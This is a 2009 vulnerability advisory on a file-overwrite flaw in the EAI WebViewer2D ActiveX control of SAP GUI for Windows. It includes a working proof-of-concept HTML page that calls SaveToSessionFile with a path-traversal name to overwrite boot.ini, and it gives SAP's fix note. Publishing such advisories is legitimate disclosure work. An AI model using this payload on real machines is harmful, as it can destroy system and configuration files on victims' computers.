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[DSECRG-09-043] SAP GUI 7.1 Insecure Method

Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-043


Application:                    EAI WebViewer2D  (EnjoySAP, SAP GUI for Windows 
6.4 and 7.1)    
Versions Affected:              Tested on 7100.2.7.1038 PL 7
Vendor URL:                     http://SAP.com
Bugs:                           insecure method, File owervriting
Exploits:                       YES
Reported:                       02.07.2009
Vendor response:                02.07.2009
Date of Public Advisory:        28.09.2009      
CVE-number:                     
Author:                         Alexandr Polyakov 
                                Digital Security Research Group [DSecRG] 
(research [at] dsecrg [dot] com)



Description
***********

SAP GUI for Windows 7.1 and 6.4 contains ActiveX component EAI WebViewer2D ( 
file WebViewer2D.dll) Lib GUID:    {A76CEBEE-7364-11D2-AA6B-00E02924C34E}

which is contains insecure method that can overwrite any file in system. 

Details
*******

Attacker can construct html page which call  vulnerable function  
SaveToSessionFile from ActiveX component EAI WebViewer2D



Example1:

<HTML>
<BODY>
 <object id=ctrl 
classid="clsid:{A76CEBEE-7364-11D2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
 {
   File = "../../../../../../../../../../../../boot.ini"
   ctrl.SaveToSessionFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>



For example we can overwrite boot.ini file or  sapgui.ini which contains all 
connectionbs to sap servers 


Fix Information
***************
The security issue is addressed with SAP note 1372153.

"the methods given in the message have been changed recently to           
immediately return and they do nothing."

References
**********

http://dsecrg.com/pages/vul/show.php?id=143
https://service.sap.com/sap/support/notes/1372153.


About
*****

Digital Security is one of the leading IT security companies in CEMEA, 
providing information security consulting, audit and penetration testing 
services, risk analysis and ISMS-related services and certification for ISO/IEC 
27001:2005 and PCI DSS standards. Digital Security Research Group focuses on 
application and database security problems with vulnerability reports, 
advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsecrg [dot] com
                http://www.dsecrg.com











Polyakov Alexandr
Information Security Analyst
______________________
DIGITAL SECURITY
phone:  +7 812 703 1547
        +7 812 430 9130
e-mail: a.polyakov@xxxxxxx  
www.dsec.ru


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